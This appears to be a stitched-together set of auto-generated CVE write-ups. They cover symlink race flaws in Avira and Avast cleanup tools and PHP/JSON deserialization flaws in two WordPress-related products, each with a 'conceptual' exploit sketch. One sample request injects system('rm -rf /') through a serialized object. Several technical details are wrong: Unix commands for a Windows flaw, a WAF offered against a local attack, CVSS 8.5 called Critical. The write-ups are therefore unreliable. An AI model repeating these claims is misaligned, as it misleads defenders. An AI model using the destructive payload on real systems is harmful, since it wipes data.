    Vulnerability Summary

    CVE ID: CVE-2024-9524
    Severity: High (7.8 CVSS score)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Avira Prime | Version 1.1.96.2 on Windows 10 x64

    How the Exploit Works

    The exploit takes advantage of a Time-of-check to Time-of-use (TOCTTOU) condition in Avira Prime’s Speedup Service. In essence, it manipulates the time gap between the check (when the system verifies the file’s properties) and the use (when the file is executed or written). An attacker can exploit this gap to create a symbolic link to a privileged file or directory.
    When the Speedup Service attempts to perform operations on the originally intended file, it inadvertently performs them on the linked file instead, thus potentially granting elevated privileges or executing arbitrary code. The exploit requires local access to the system and user interaction, making social engineering or another form of initial compromise a likely vector for the attack.

    Conceptual Example Code

    The example below illustrates a conceptual command-line sequence an attacker might use to exploit this vulnerability:

    # Attacker gains low-level access to the system
    $ whoami
    low-privilege-user
    # Attacker creates symbolic link to a system file
    $ ln -s /path/to/system/file /path/to/SpeedupService/file
    # Attacker manipulates the SpeedupService to perform operations on the link
    $ ./malicious_operation
    # If successful, the attacker now has escalated privileges
    $ whoami
    SYSTEM

    This is a simplified representation of an attack scenario. Actual exploitation would likely involve more complex steps and sophisticated techniques.

    Vulnerability Summary

    CVE ID: CVE-2024-13962
    Severity: High, CVSS score of 7.8
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: None
    Impact: Privilege escalation, potential system compromise, and data leakage

    Affected Products

    Product | Affected Versions

    Avast Cleanup Premium| Version 24.2.16593.17810 on Windows 10 Pro x64

    How the Exploit Works

    The vulnerability occurs due to the insecure handling of symbolic links in the TuneupSvc function of the Avast Cleanup Premium software. An attacker can exploit this vulnerability by creating a symbolic link and leveraging a TOCTTOU (time-of-check to time-of-use) attack. Essentially, the software checks the symbolic link at one point and then uses it at a later time, during which an attacker can alter the link. This misstep allows the attacker to escalate their privileges and execute arbitrary code in the context of the SYSTEM, leading to potential system compromise or data leakage.

    Conceptual Example Code

    The following pseudocode illustrates a conceptual example of how the vulnerability might be exploited:

    # Pseudocode for CVE-2024-13962 exploit
    def exploit():
    # Create a symbolic link
    create_symlink('target_link', 'malicious_link')
    # Wait for software to check the link
    while not is_checked('target_link'):
    time.sleep(1)
    # Change the symbolic link after the check
    change_symlink('target_link', 'malicious_link')
    # Execute arbitrary code
    execute_code_as_system('malicious_code')

    This pseudocode represents the attacker’s actions. The create_symlink function creates a symbolic link, the is_checked function checks if the link has been validated by the software, the change_symlink function changes the symbolic link after validation, and the execute_code_as_system function executes arbitrary code with escalated privileges.
    Please note that this is a simplification of the exploit process for illustrative purposes and does not represent an actual working exploit.

    CVE ID: CVE-2024-13961
    Severity: High (CVSS: 7.8)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    Avast Cleanup Premium | 24.2.16593.17810

    How the Exploit Works

    This vulnerability is caused by a TOCTTOU (time-of-check to time-of-use) flaw in the TuneupSvc component of Avast Cleanup Premium. An attacker can exploit this flaw by creating a symbolic link and leveraging a race condition. This allows them to escalate their privileges and execute arbitrary code in the context of SYSTEM, effectively gaining full control over the affected system.

    Conceptual Example Code

    The exact mechanics of the exploit depend on the specific environment, but the general idea is shown in the pseudocode below:

    // Attacker creates a symbolic link
    create_symlink("/path/to/vulnerable/file", "/path/to/attacker/controlled/file");
    // Attacker leverages TOCTTOU race condition
    while(true) {
    if (check_file_access("/path/to/vulnerable/file")) {
    execute_code_as_system("/path/to/attacker/controlled/file");
    break;
    }
    }

    In this pseudocode, the `create_symlink` function creates a symbolic link from a file in a location that the TuneupSvc component is known to write to a file that the attacker controls. The `check_file_access` function checks if the TuneupSvc component is about to write to the file, and if it is, the `execute_code_as_system` function is called to execute arbitrary code in the context of SYSTEM.

    Mitigation and Prevention

    The vendor has released a patch to address this vulnerability, and all users are strongly urged to apply this patch immediately. As a temporary measure before the patch can be applied, users can make use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate potential attacks. However, these are only temporary solutions and the patch should be applied as soon as possible to fully mitigate the vulnerability.

    The Common Vulnerabilities and Exposures (CVE) system has recently identified an alarming security vulnerability, CVE-2025-47584, that affects ThemeGoods Photography software. This serious vulnerability is related to the deserialization of untrusted data, which poses severe risks to system integrity and confidential information. Given that it impacts a wide range of Photography software versions, it is of utmost importance for users and security teams to understand its nature, potential impact, and mitigation strategies.

    Vulnerability Summary

    CVE ID: CVE-2025-47584
    Severity: Critical, CVSS 8.5
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    ThemeGoods Photography | Through 7.5.2

    How the Exploit Works

    The vulnerability arises from the software’s handling of serialized or untrusted data. Serialization is the process of turning an object into a stream of bytes for storage or transmission. Conversely, deserialization is the process of turning that stream of bytes back into an object. If an attacker can manipulate the serialized data (for example, by injecting malicious code), they can control the structure of the deserialized object. This can lead to various harmful outcomes, including remote code execution, which can compromise the system or lead to data leakage.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited:

    POST /photography/upload HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "image": {
    "metadata": "{ \"class\": \"com.example.UnsafeDeserialization\", \"malicious_payload\": \"...\" }"
    }
    }

    In this example, the attacker sends a POST request to an endpoint that deserializes image metadata. This metadata contains a serialized object with a class of `com.example.UnsafeDeserialization` (an example class that does not properly handle deserialization), and a malicious payload.

    Recommendations for Mitigation

    Addressing this vulnerability should be a top priority due to its high severity score. The best course of action is to apply the patch provided by the vendor. Until you can apply the patch, you might consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and potentially block attempts to exploit this vulnerability. Additionally, it is recommended to review and improve your deserialization routines to ensure they are not vulnerable to similar attacks in the future.

    Vulnerability Summary

    CVE ID: CVE-2025-39358
    Severity: High, CVSS score 8.8
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Teastudio.Pl WP Posts Carousel | n/a through 1.3.12

    How the Exploit Works

    The exploit works by taking advantage of the insecure deserialization process within the WP Posts Carousel. The attacker submits malicious serialized data to the system, which is then deserialized by the plugin. This data often contains code that, when executed, can lead to various types of attacks. In this particular case, it allows an attacker to perform an Object Injection. This type of attack can lead to arbitrary PHP code execution, potentially compromising the system or leading to data leakage.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request which incorporates a malicious payload within the serialized data.

    POST /wp-admin/admin-ajax.php?action=wp_ajax_nopriv_teastudio_posts_carousel HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "serializedData": "O:8:\"stdClass\":1:{s:5:\"inject\";s:42:\"system('rm -rf /');\";}" }

    In the above example, the serialized data represents an object with a property “inject” that holds a system command (`rm -rf /`) as its value. If the target system is vulnerable and does not properly sanitize or validate the input, this command could be executed on the server, leading to a catastrophic loss of data.

    How to Mitigate

    The best way to mitigate this vulnerability is to apply the vendor-supplied patch. If the patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
